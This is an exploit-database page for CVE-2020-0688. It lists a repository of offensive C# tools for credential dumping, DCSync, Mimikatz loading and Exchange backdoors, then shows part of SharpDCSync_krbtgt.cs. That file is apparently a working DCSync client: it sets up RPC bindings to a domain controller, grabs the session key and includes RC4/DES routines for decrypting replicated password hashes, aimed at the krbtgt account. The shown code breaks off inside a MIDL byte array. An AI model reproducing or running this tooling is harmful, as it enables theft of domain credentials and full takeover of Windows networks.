Exploit databaseDownload repository ZIP
GH-3c88fcf80633ba9e8dbc777e479d7774
3gstudent/homework-of-c-sharp
Sources for CVE-2020-0688
37 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files37
3gstudent/homework-of-c-sharpRevision 6ab29ba191b8
- AddMachineAccountofDomain.cs
- Add_passwordneverexpires_user_byLDAP.cs
- BrailleToASCII.cs
- DcsyncofMimikatz.cs
- DumpLsass.cs
- GzipandBase64.cs
- ListUserMailbyLDAP.cs
- List_passwordneverexpires_user_byLDAP.cs
- Office14-Microsoft.Office.Interop.OutlookMicrosoft.Office.Interop.Outlook.dll
- Office15-Microsoft.Office.Interop.Outlook.dll
- PELoaderofMimikatz.cs
- README.md
- ReadShellcode.cs
- SSLCertScan.cs
- SafetyKatz.cs
- SerializeXamlToViewState.cs
- SharpADFindDemo.cs
- SharpDCSync.cs
- SharpDCSync_krbtgt.cs
- SharpExchangeBackdoor.cs
- SharpExchangeDeserializeShell-NoAuth-ActivitySurrogateSelectorFromFile.cs
- SharpExchangeDeserializeShell-NoAuth-Fromzcgonvh.cs
- SharpExchangeDeserializeShell-NoAuth-ghostfile.cs
- SharpExchangeDumpHash.cs
- SharpGetUserLoginIPRPC.cs
- SharpGetUserLoginIPWMI.cs
- SharpMimikatz_x64.cs
- SharpMimikatz_x86.cs
- SharpPELoaderGenerater.cs
- SharpSSHCheck_SSH.NET.cs
- SharpSSHRunCmd_SSH.NET.cs
- SharpTGTImporter.cs
- Shellcode.cs
- ShellcodeBase64.txt
- SqlClient.cs
- XamlToViewState.cs
- mapi_tool.cs
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
SharpDCSync_krbtgt.cs
C# · 94,067 bytesusing System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.Globalization;
using System.Net;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Security.Principal;
using System.Text;
using System.DirectoryServices;
namespace drsrdotnet
{
public class drsr
{
#region pinvoke
[DllImport("Rpcrt4.dll", EntryPoint = "RpcBindingFromStringBindingW",
CallingConvention = CallingConvention.StdCall,
CharSet = CharSet.Unicode, SetLastError = false)]
private static extern Int32 RpcBindingFromStringBinding(String bindingString, out IntPtr lpBinding);
[DllImport("Rpcrt4.dll", EntryPoint = "NdrClientCall2", CallingConvention = CallingConvention.Cdecl,
CharSet = CharSet.Unicode, SetLastError = false)]
private static extern IntPtr NdrClientCall2x64(IntPtr pMIDL_STUB_DESC, IntPtr formatString, __arglist);
//private static extern IntPtr NdrClientCall2x64(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr a, out IntPtr z, long s);
[DllImport("Rpcrt4.dll", EntryPoint = "NdrClientCall2", CallingConvention = CallingConvention.Cdecl,
CharSet = CharSet.Unicode, SetLastError = false)]
private static extern IntPtr NdrClientCall2x86(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr args);
[DllImport("Rpcrt4.dll", EntryPoint = "RpcBindingFree", CallingConvention = CallingConvention.StdCall,
CharSet = CharSet.Unicode, SetLastError = false)]
private static extern Int32 RpcBindingFree(ref IntPtr lpString);
//#region RpcStringBindingCompose
[DllImport("Rpcrt4.dll", EntryPoint = "RpcStringBindingComposeW", CallingConvention = CallingConvention.StdCall,
CharSet = CharSet.Unicode, SetLastError = false)]
private static extern Int32 RpcStringBindingCompose(
String ObjUuid, String ProtSeq, String NetworkAddr, String Endpoint, String Options,
out IntPtr lpBindingString
);
[StructLayout(LayoutKind.Sequential)]
private struct RPC_SECURITY_QOS
{
public Int32 Version;
public Int32 Capabilities;
public Int32 IdentityTracking;
public Int32 ImpersonationType;
}
[DllImport("Rpcrt4.dll", EntryPoint = "RpcBindingSetAuthInfoExW", CallingConvention = CallingConvention.StdCall,
CharSet = CharSet.Unicode, SetLastError = false)]
private static extern Int32 RpcBindingSetAuthInfoEx(IntPtr lpBinding, string ServerPrincName,
UInt32 AuthnLevel, UInt32 AuthnSvc, IntPtr identity, UInt32 AuthzSvc, ref RPC_SECURITY_QOS SecurityQOS);
[DllImport("Rpcrt4.dll", EntryPoint = "RpcBindingSetOption", CallingConvention = CallingConvention.StdCall, SetLastError = false)]
private static extern Int32 RpcBindingSetOption(IntPtr Binding, UInt32 Option, IntPtr OptionValue);
[DllImport("Rpcrt4.dll", EntryPoint = "I_RpcBindingInqSecurityContext", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode, SetLastError = true)]
private static extern Int32 I_RpcBindingInqSecurityContext(IntPtr Binding, out IntPtr SecurityContextHandle);
[StructLayout(LayoutKind.Sequential)]
private struct SecPkgContext_SessionKey
{
public UInt32 SessionKeyLength;
public IntPtr SessionKey;
}
[DllImport("secur32.Dll", CharSet = CharSet.Auto, SetLastError = false)]
private static extern int QueryContextAttributes(IntPtr hContext,
uint ulAttribute,
ref SecPkgContext_SessionKey pContextAttributes);
[StructLayout(LayoutKind.Sequential)]
private struct CRYPTO_BUFFER
{
public UInt32 Length;
public UInt32 MaximumLength;
public IntPtr Buffer;
}
[DllImport("advapi32.Dll", CharSet = CharSet.Auto, SetLastError = false, EntryPoint = "SystemFunction032")]
private static extern int SystemFunction032(ref CRYPTO_BUFFER data, ref CRYPTO_BUFFER key);
private static byte[] RtlEncryptDecryptRC4(byte[] input, byte[] key)
{
CRYPTO_BUFFER inputBuffer = new CRYPTO_BUFFER();
inputBuffer.Length = inputBuffer.MaximumLength = (UInt32)input.Length;
inputBuffer.Buffer = Marshal.AllocHGlobal(input.Length);
Marshal.Copy(input, 0, inputBuffer.Buffer, input.Length);
CRYPTO_BUFFER keyBuffer = new CRYPTO_BUFFER();
keyBuffer.Length = keyBuffer.MaximumLength = (UInt32)key.Length;
keyBuffer.Buffer = Marshal.AllocHGlobal(key.Length);
Marshal.Copy(key, 0, keyBuffer.Buffer, key.Length);
int ret = SystemFunction032(ref inputBuffer, ref keyBuffer);
byte[] output = new byte[inputBuffer.Length];
Marshal.Copy(inputBuffer.Buffer, output, 0, output.Length);
Marshal.FreeHGlobal(inputBuffer.Buffer);
Marshal.FreeHGlobal(keyBuffer.Buffer);
return output;
}
[DllImport("advapi32.dll", SetLastError = true, EntryPoint = "SystemFunction027")]
private static extern int RtlDecryptDES2blocks1DWORD(byte[] data, ref UInt32 key, IntPtr output);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern IntPtr GetSidSubAuthority(IntPtr sid, UInt32 subAuthorityIndex);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern IntPtr GetSidSubAuthorityCount(IntPtr psid);
#endregion
#region rpc initialization
private byte[] MIDL_ProcFormatString;
private byte[] MIDL_TypeFormatString;
private GCHandle procString;
private GCHandle formatString;
private GCHandle stub;
private GCHandle faultoffsets;
private GCHandle clientinterface;
public UInt32 RPCTimeOut = 1000;
[StructLayout(LayoutKind.Sequential)]
private struct COMM_FAULT_OFFSETS
{
public short CommOffset;
public short FaultOffset;
}
[StructLayout(LayoutKind.Sequential)]
private struct GENERIC_BINDING_ROUTINE_PAIR
{
public IntPtr Bind;
public IntPtr Unbind;
}
[StructLayout(LayoutKind.Sequential)]
private struct RPC_VERSION
{
public ushort MajorVersion;
public ushort MinorVersion;
public RPC_VERSION(ushort InterfaceVersionMajor, ushort InterfaceVersionMinor)
{
MajorVersion = InterfaceVersionMajor;
MinorVersion = InterfaceVersionMinor;
}
}
[StructLayout(LayoutKind.Sequential)]
private struct RPC_SYNTAX_IDENTIFIER
{
public Guid SyntaxGUID;
public RPC_VERSION SyntaxVersion;
}
[StructLayout(LayoutKind.Sequential)]
private struct RPC_CLIENT_INTERFACE
{
public uint Length;
public RPC_SYNTAX_IDENTIFIER InterfaceId;
public RPC_SYNTAX_IDENTIFIER TransferSyntax;
public IntPtr /*PRPC_DISPATCH_TABLE*/ DispatchTable;
public uint RpcProtseqEndpointCount;
public IntPtr /*PRPC_PROTSEQ_ENDPOINT*/ RpcProtseqEndpoint;
public IntPtr Reserved;
public IntPtr InterpreterInfo;
public uint Flags;
public static readonly Guid IID_SYNTAX = new Guid(0x8A885D04u, 0x1CEB, 0x11C9, 0x9F, 0xE8, 0x08, 0x00, 0x2B,
0x10,
0x48, 0x60);
public RPC_CLIENT_INTERFACE(Guid iid, ushort InterfaceVersionMajor, ushort InterfaceVersionMinor)
{
Length = (uint)Marshal.SizeOf(typeof(RPC_CLIENT_INTERFACE));
RPC_VERSION rpcVersion = new RPC_VERSION(InterfaceVersionMajor, InterfaceVersionMinor);
InterfaceId = new RPC_SYNTAX_IDENTIFIER();
InterfaceId.SyntaxGUID = iid;
InterfaceId.SyntaxVersion = rpcVersion;
rpcVersion = new RPC_VERSION(2, 0);
TransferSyntax = new RPC_SYNTAX_IDENTIFIER();
TransferSyntax.SyntaxGUID = IID_SYNTAX;
TransferSyntax.SyntaxVersion = rpcVersion;
DispatchTable = IntPtr.Zero;
RpcProtseqEndpointCount = 0u;
RpcProtseqEndpoint = IntPtr.Zero;
Reserved = IntPtr.Zero;
InterpreterInfo = IntPtr.Zero;
Flags = 0u;
}
}
[StructLayout(LayoutKind.Sequential)]
private struct MIDL_STUB_DESC
{
public IntPtr /*RPC_CLIENT_INTERFACE*/ RpcInterfaceInformation;
public IntPtr pfnAllocate;
public IntPtr pfnFree;
public IntPtr pAutoBindHandle;
public IntPtr /*NDR_RUNDOWN*/ apfnNdrRundownRoutines;
public IntPtr /*GENERIC_BINDING_ROUTINE_PAIR*/ aGenericBindingRoutinePairs;
public IntPtr /*EXPR_EVAL*/ apfnExprEval;
public IntPtr /*XMIT_ROUTINE_QUINTUPLE*/ aXmitQuintuple;
public IntPtr pFormatTypes;
public int fCheckBounds;
/* Ndr library version. */
public uint Version;
public IntPtr /*MALLOC_FREE_STRUCT*/ pMallocFreeStruct;
public int MIDLVersion;
public IntPtr CommFaultOffsets;
// New fields for version 3.0+
public IntPtr /*USER_MARSHAL_ROUTINE_QUADRUPLE*/ aUserMarshalQuadruple;
// Notify routines - added for NT5, MIDL 5.0
public IntPtr /*NDR_NOTIFY_ROUTINE*/ NotifyRoutineTable;
public IntPtr mFlags;
// International support routines - added for 64bit post NT5
public IntPtr /*NDR_CS_ROUTINES*/ CsRoutineTables;
public IntPtr ProxyServerInfo;
public IntPtr /*NDR_EXPR_DESC*/ pExprInfo;
// Fields up to now present in win2000 release.
public MIDL_STUB_DESC(IntPtr pFormatTypesPtr, IntPtr RpcInterfaceInformationPtr,
IntPtr pfnAllocatePtr, IntPtr pfnFreePtr, IntPtr aGenericBindingRoutinePairsPtr)
{
pFormatTypes = pFormatTypesPtr;
RpcInterfaceInformation = RpcInterfaceInformationPtr;
CommFaultOffsets = IntPtr.Zero;
pfnAllocate = pfnAllocatePtr;
pfnFree = pfnFreePtr;
pAutoBindHandle = IntPtr.Zero;
apfnNdrRundownRoutines = IntPtr.Zero;
aGenericBindingRoutinePairs = aGenericBindingRoutinePairsPtr;
apfnExprEval = IntPtr.Zero;
aXmitQuintuple = IntPtr.Zero;
fCheckBounds = 1;
Version = 0x50002u;
pMallocFreeStruct = IntPtr.Zero;
MIDLVersion = 0x8000253;
aUserMarshalQuadruple = IntPtr.Zero;
NotifyRoutineTable = IntPtr.Zero;
mFlags = new IntPtr(0x00000001);
CsRoutineTables = IntPtr.Zero;
ProxyServerInfo = IntPtr.Zero;
pExprInfo = IntPtr.Zero;
}
}
private void InitializeStub(Guid interfaceID, byte[] MIDL_ProcFormatString, byte[] MIDL_TypeFormatString, ushort MajorVerson, ushort MinorVersion)
{
this.MIDL_ProcFormatString = MIDL_ProcFormatString;
this.MIDL_TypeFormatString = MIDL_TypeFormatString;
procString = GCHandle.Alloc(this.MIDL_ProcFormatString, GCHandleType.Pinned);
RPC_CLIENT_INTERFACE clientinterfaceObject = new RPC_CLIENT_INTERFACE(interfaceID, MajorVerson, MinorVersion);
COMM_FAULT_OFFSETS commFaultOffset = new COMM_FAULT_OFFSETS();
commFaultOffset.CommOffset = -1;
commFaultOffset.FaultOffset = -1;
faultoffsets = GCHandle.Alloc(commFaultOffset, GCHandleType.Pinned);
clientinterface = GCHandle.Alloc(clientinterfaceObject, GCHandleType.Pinned);
formatString = GCHandle.Alloc(MIDL_TypeFormatString, GCHandleType.Pinned);
MIDL_STUB_DESC stubObject = new MIDL_STUB_DESC(formatString.AddrOfPinnedObject(),
clientinterface.AddrOfPinnedObject(),
Marshal.GetFunctionPointerForDelegate((allocmemory)AllocateMemory),
Marshal.GetFunctionPointerForDelegate((freememory)FreeMemory),
IntPtr.Zero);
stub = GCHandle.Alloc(stubObject, GCHandleType.Pinned);
}
private void freeStub()
{
procString.Free();
faultoffsets.Free();
clientinterface.Free();
formatString.Free();
stub.Free();
}
private static List<IntPtr> TrackedMemoryAllocations;
delegate IntPtr allocmemory(int size);
private static IntPtr AllocateMemory(int size)
{
IntPtr memory = Marshal.AllocHGlobal(size);
if (TrackedMemoryAllocations != null)
{
TrackedMemoryAllocations.Add(memory);
}
return memory;
}
delegate void freememory(IntPtr memory);
private static void FreeMemory(IntPtr memory)
{
Marshal.FreeHGlobal(memory);
if (TrackedMemoryAllocations != null && TrackedMemoryAllocations.Contains(memory))
{
TrackedMemoryAllocations.Remove(memory);
}
}
private static void EnableMemoryTracking()
{
TrackedMemoryAllocations = new List<IntPtr>();
}
private static void FreeTrackedMemoryAndRemoveTracking()
{
List<IntPtr> list = TrackedMemoryAllocations;
TrackedMemoryAllocations = null;
foreach (IntPtr memory in list)
{
Marshal.FreeHGlobal(memory);
}
}
private IntPtr Bind(string server)
{
IntPtr bindingstring = IntPtr.Zero;
IntPtr binding = IntPtr.Zero;
Int32 status;
status = RpcStringBindingCompose(null, "ncacn_ip_tcp", server, null, null, out bindingstring);
if (status != 0)
return IntPtr.Zero;
status = RpcBindingFromStringBinding(Marshal.PtrToStringUni(bindingstring), out binding);
RpcBindingFree(ref bindingstring);
if (status != 0)
return IntPtr.Zero;
RPC_SECURITY_QOS qos = new RPC_SECURITY_QOS();
qos.Version = 1;
qos.Capabilities = 1;
GCHandle qoshandle = GCHandle.Alloc(qos, GCHandleType.Pinned);
status = RpcBindingSetAuthInfoEx(binding, "ldap/" + server, 6, 9, IntPtr.Zero, 0, ref qos);
qoshandle.Free();
if (status != 0)
{
Unbind(binding);
return IntPtr.Zero;
}
securityCallbackDelegate = SecurityCallback;
status = RpcBindingSetOption(binding, 10, Marshal.GetFunctionPointerForDelegate(securityCallbackDelegate));
if (status != 0)
{
Unbind(binding);
return IntPtr.Zero;
}
status = RpcBindingSetOption(binding, 12, new IntPtr(RPCTimeOut));
if (status != 0)
{
Unbind(binding);
return IntPtr.Zero;
}
return binding;
}
private static void Unbind(IntPtr hBinding)
{
RpcBindingFree(ref hBinding);
}
private byte[] SessionKey;
SecurityCallbackDelegate securityCallbackDelegate;
private delegate void SecurityCallbackDelegate(IntPtr context);
private void SecurityCallback(IntPtr context)
{
IntPtr SecurityContextHandle;
SecPkgContext_SessionKey sessionKey = new SecPkgContext_SessionKey();
int res = I_RpcBindingInqSecurityContext(context, out SecurityContextHandle);
if (res == 0)
{
res = QueryContextAttributes(SecurityContextHandle, 9, ref sessionKey);
if (res == 0)
{
SessionKey = new byte[sessionKey.SessionKeyLength];
Marshal.Copy(sessionKey.SessionKey, SessionKey, 0, (int)sessionKey.SessionKeyLength);
}
}
}
private IntPtr GetProcStringHandle(int offset)
{
return Marshal.UnsafeAddrOfPinnedArrayElement(MIDL_ProcFormatString, offset);
}
private IntPtr GetStubHandle()
{
return stub.AddrOfPinnedObject();
}
private IntPtr CallNdrClientCall2x86(int offset, params IntPtr[] args)
{
GCHandle stackhandle = GCHandle.Alloc(args, GCHandleType.Pinned);
IntPtr result;
try
{
result = NdrClientCall2x86(GetStubHandle(), GetProcStringHandle(offset), stackhandle.AddrOfPinnedObject());
}
finally
{
stackhandle.Free();
}
return result;
}
#endregion
#region MIDL strings
private static byte[] MIDL_ProcFormatStringx64 = new byte[] {
0x00,0x48,0x00,0x00,0x00,0x00,0x00,0x00,0x30,0x00,0x32,0x00,0x00,0x00,0x44,0x00,0x40,0x00,0x47,0x05,0x0a,0x47,0x01,0x00,0x01,0x00,0x00,0x00,0x00,0x00,
0x0a,0x00,0x08,0x00,0x02,0x00,0x0b,0x00,0x10,0x00,0x18,0x00,0x13,0x20,0x18,0x00,0x3a,0x00,0x10,0x01,0x20,0x00,0x42,0x00,0x70,0x00,0x28,0x00,0x08,0x00,
0x00,0x48,0x00,0x00,0x00,0x00,0x01,0x00,0x10,0x00,0x30,0xe0,0x00,0x00,0x00,0x00,0x38,0x00,0x40,0x00,0x44,0x02,0x0a,0x41,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x18,0x01,0x00,0x00,0x4a,0x00,0x70,0x00,0x08,0x00,0x08,0x00,0x00,0x48,0x00,0x00,0x00,0x00,0x02,0x00,0x08,0x00,0x32,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x40,0x00,0x0a,0x41,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x00,0x03,0x00,0x30,0x00,0x30,0x40,0x00,0x00,0x00,0x00,
0x2c,0x00,0x24,0x00,0x47,0x06,0x0a,0x47,0x01,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x08,0x00,0x00,0x00,0x4e,0x00,0x48,0x00,0x08,0x00,0x08,0x00,0x0b,0x01,
0x10,0x00,0x56,0x00,0x50,0x21,0x18,0x00,0x08,0x00,0x13,0x01,0x20,0x00,0xb6,0x02,0x70,0x00,0x28,0x00,0x08,0x00,0x00,0x48,0x00,0x00,0x00,0x00,0x04,0x00,
0x08,0x00,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x0a,0x41,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x00,0x05,0x00,
0x08,0x00,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x0a,0x41,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x00,0x06,0x00,
0x08,0x00,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x0a,0x41,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x00,0x07,0x00,
0x08,0x00,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x0a,0x41,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x00,0x08,0x00,
0x08,0x00,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x0a,0x41,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x00,0x09,0x00,
0x08,0x00,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x0a,0x41,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x00,0x0a,0x00,
0x08,0x00,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x0a,0x41,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x00,0x0b,0x00,
0x08,0x00,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x0a,0x41,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x00,0x0c,0x00,
0x30,0x00,0x30,0x40,0x00,0x00,0x00,0x00,0x2c,0x00,0x24,0x00,0x47,0x06,0x0a,0x47,0x01,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x08,0x00,0x00,0x00,0x4e,0x00,
0x48,0x00,0x08,0x00,0x08,0x00,0x0b,0x01,0x10,0x00,0xe0,0x05,0x50,0x21,0x18,0x00,0x08,0x00,0x13,0x21,0x20,0x00,0x42,0x06,0x70,0x00,0x28,0x00,0x08,0x00,
0x00,0x48,0x00,0x00,0x00,0x00,0x0d,0x00,0x08,0x00,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x0a,0x41,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x48,0x00,0x00,0x00,0x00,0x0e,0x00,0x08,0x00,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x0a,0x41,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x48,0x00,0x00,0x00,0x00,0x0f,0x00,0x08,0x00,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x0a,0x41,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x48,0x00,0x00,0x00,0x00,0x10,0x00,0x30,0x00,0x30,0x40,0x00,0x00,0x00,0x00,0x2c,0x00,0x24,0x00,0x47,0x06,0x0a,0x47,0x01,0x00,0x01,0x00,0x00,0x00,
0x00,0x00,0x08,0x00,0x00,0x00,0x4e,0x00,0x48,0x00,0x08,0x00,0x08,0x00,0x0b,0x01,0x10,0x00,0xc4,0x06,0x50,0x21,0x18,0x00,0x08,0x00,0x13,0x41,0x20,0x00,
0xf8,0x06,0x70,0x00,0x28,0x00,0x08,0x00,0x00
};
private static byte[] MIDL_TypeFormatStringx64 = new byte[] {
0x00,0x00,0x12,0x00,0x08,0x00,0x1d,0x00,0x08,0x00,0x01,0x5b,0x15,0x03,0x10,0x00,0x08,0x06,0x06,0x4c,0x00,0xf1,0xff,0x5b,0x12,0x00,0x18,0x00,0x1b,0x00,
0x01,0x00,0x09,0x00,0xfc,0xff,0x11,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x10,0x27,0x00,0x00,0x01,0x5b,0x17,0x03,0x04,0x00,0xe6,0xff,0x08,0x5b,0x11,0x14,
0xdc,0xff,0x11,0x04,0x02,0x00,0x30,0xa0,0x00,0x00,0x11,0x04,0x02,0x00,0x30,0xe1,0x00,0x00,0x30,0x41,0x00,0x00,0x11,0x00,0x02,0x00,0x2b,0x09,0x29,0x00,
0x08,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0xa8,0x00,0x05,0x00,0x04,0x00,0x00,0x00,0x66,0x01,0x05,0x00,0x00,0x00,
0x7c,0x01,0x07,0x00,0x00,0x00,0x9e,0x01,0x08,0x00,0x00,0x00,0xbc,0x01,0x0a,0x00,0x00,0x00,0xec,0x01,0xff,0xff,0x15,0x07,0x18,0x00,0x0b,0x0b,0x0b,0x5b,
0x1b,0x00,0x01,0x00,0x19,0x00,0x00,0x00,0x11,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x10,0x27,0x00,0x00,0x01,0x5b,0x1a,0x03,0x10,0x00,0x00,0x00,0x06,0x00,
0x08,0x40,0x36,0x5b,0x12,0x20,0xdc,0xff,0x1a,0x03,0x18,0x00,0x00,0x00,0x00,0x00,0x08,0x40,0x4c,0x00,0xe4,0xff,0x5c,0x5b,0x21,0x03,0x00,0x00,0x19,0x00,
0x00,0x00,0x11,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x4c,0x00,0xca,0xff,0x5c,0x5b,0x1a,0x03,0x10,0x00,0x00,0x00,0x06,0x00,0x08,0x40,0x36,0x5b,0x12,0x20,0xc8,0xff,0x1d,0x00,0x1c,0x00,0x02,0x5b,0x15,0x00,
0x1c,0x00,0x4c,0x00,0xf4,0xff,0x5c,0x5b,0x1b,0x01,0x02,0x00,0x09,0x57,0xfc,0xff,0x11,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0xa0,0x00,0x05,0x5b,
0x17,0x03,0x38,0x00,0xe6,0xff,0x08,0x08,0x4c,0x00,0xd6,0xfe,0x4c,0x00,0xd2,0xff,0x08,0x5b,0x15,0x07,0x18,0x00,0x4c,0x00,0xc8,0xfe,0x0b,0x5b,0x1b,0x07,
0x18,0x00,0x09,0x00,0xf8,0xff,0x11,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x4c,0x00,0xe0,0xff,0x5c,0x5b,0x17,0x07,0x10,0x00,0xe2,0xff,
0x08,0x08,0x08,0x08,0x5c,0x5b,0x1b,0x03,0x04,0x00,0x09,0x00,0xfc,0xff,0x11,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x08,0x5b,0x17,0x03,
0x0c,0x00,0xe6,0xff,0x08,0x08,0x08,0x5b,0x1a,0x07,0x70,0x00,0x00,0x00,0x1a,0x00,0x4c,0x00,0x74,0xfe,0x4c,0x00,0x70,0xfe,0x36,0x4c,0x00,0xed,0xfe,0x36,
0x36,0x4c,0x00,0x4f,0xff,0x08,0x08,0x08,0x08,0x5b,0x11,0x00,0x7c,0xff,0x12,0x00,0xae,0xff,0x12,0x00,0xcc,0xff,0x1b,0x00,0x01,0x00,0x09,0x00,0xfc,0xff,
0x11,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x02,0x5b,0x17,0x03,0x04,0x00,0xe6,0xff,0x08,0x5b,0x1a,0x07,0x88,0x00,0x00,0x00,0x0c,0x00,
0x4c,0x00,0x2a,0xfe,0x36,0x4c,0x00,0xa7,0xff,0x5b,0x11,0x00,0xe4,0xff,0x15,0x07,0x08,0x00,0x0b,0x5b,0x1a,0x07,0x60,0x00,0x00,0x00,0x1a,0x00,0x4c,0x00,
0x0e,0xfe,0x4c,0x00,0x0a,0xfe,0x36,0x4c,0x00,0x87,0xfe,0x36,0x08,0x08,0x08,0x08,0x4c,0x00,0xde,0xff,0x5c,0x5b,0x11,0x00,0x16,0xff,0x12,0x00,0x48,0xff,
0x1a,0x07,0xa8,0x00,0x00,0x00,0x12,0x00,0x4c,0x00,0xe6,0xfd,0x36,0x4c,0x00,0x63,0xff,0x36,0x36,0x4c,0x00,0xc5,0xfe,0x5b,0x11,0x00,0x9a,0xff,0x12,0x00,
0x4a,0xff,0x12,0x00,0x46,0xff,0x1a,0x07,0x80,0x00,0x00,0x00,0x20,0x00,0x4c,0x00,0xc2,0xfd,0x4c,0x00,0xbe,0xfd,0x36,0x4c,0x00,0x3b,0xfe,0x36,0x08,0x08,
0x08,0x08,0x4c,0x00,0x92,0xff,0x36,0x36,0x4c,0x00,0x94,0xfe,0x5c,0x5b,0x11,0x00,0xc4,0xfe,0x12,0x00,0xf6,0xfe,0x12,0x00,0x14,0xff,0x12,0x00,0x10,0xff,
0x1a,0x07,0x88,0x00,0x00,0x00,0x22,0x00,0x4c,0x00,0x8c,0xfd,0x4c,0x00,0x88,0xfd,0x36,0x4c,0x00,0x05,0xfe,0x36,0x08,0x08,0x08,0x08,0x4c,0x00,0x5c,0xff,
0x36,0x36,0x4c,0x00,0x5e,0xfe,0x08,0x40,0x5c,0x5b,0x11,0x00,0x8c,0xfe,0x12,0x00,0xbe,0xfe,0x12,0x00,0xdc,0xfe,0x12,0x00,0xd8,0xfe,0x11,0x0c,0x08,0x5c,
0x11,0x00,0x02,0x00,0x2b,0x09,0x29,0x54,0x18,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0xa8,0x00,0x05,0x00,0x01,0x00,
0x00,0x00,0x40,0x01,0x02,0x00,0x00,0x00,0x92,0x01,0x06,0x00,0x00,0x00,0x1e,0x02,0x07,0x00,0x00,0x00,0x54,0x02,0x09,0x00,0x00,0x00,0xb6,0x02,0xff,0xff,
0x1b,0x00,0x01,0x00,0x19,0x00,0x00,0x00,0x11,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x90,0x01,0x02,0x5b,0x1a,0x03,0x10,0x00,0x00,0x00,0x06,0x00,
0x08,0x40,0x36,0x5b,0x12,0x20,0xdc,0xff,0x21,0x03,0x00,0x00,0x19,0x00,0x00,0x00,0x11,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xa0,0x00,0xff,0xff,
0xff,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x4c,0x00,0xca,0xff,0x5c,0x5b,0x1a,0x03,0x10,0x00,0x00,0x00,0x06,0x00,0x08,0x40,
0x36,0x5b,0x12,0x20,0xc8,0xff,0x1a,0x03,0x18,0x00,0x00,0x00,0x00,0x00,0x08,0x40,0x4c,0x00,0xe4,0xff,0x5c,0x5b,0x21,0x03,0x00,0x00,0x19,0x00,0x00,0x00,
0x11,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x4c,0x00,
0xca,0xff,0x5c,0x5b,0x1a,0x03,0x10,0x00,0x00,0x00,0x06,0x00,0x08,0x40,0x36,0x5b,0x12,0x20,0xc8,0xff,0x1a,0x03,0x20,0x00,0x00,0x00,0x0a,0x00,0x36,0x08,
0x40,0x4c,0x00,0xe3,0xff,0x5b,0x12,0x00,0x82,0xfd,0xb1,0x07,0x28,0x00,0x00,0x00,0x00,0x00,0x08,0x40,0x0b,0x4c,0x00,0x53,0xfc,0x0b,0x5c,0x5b,0x21,0x07,
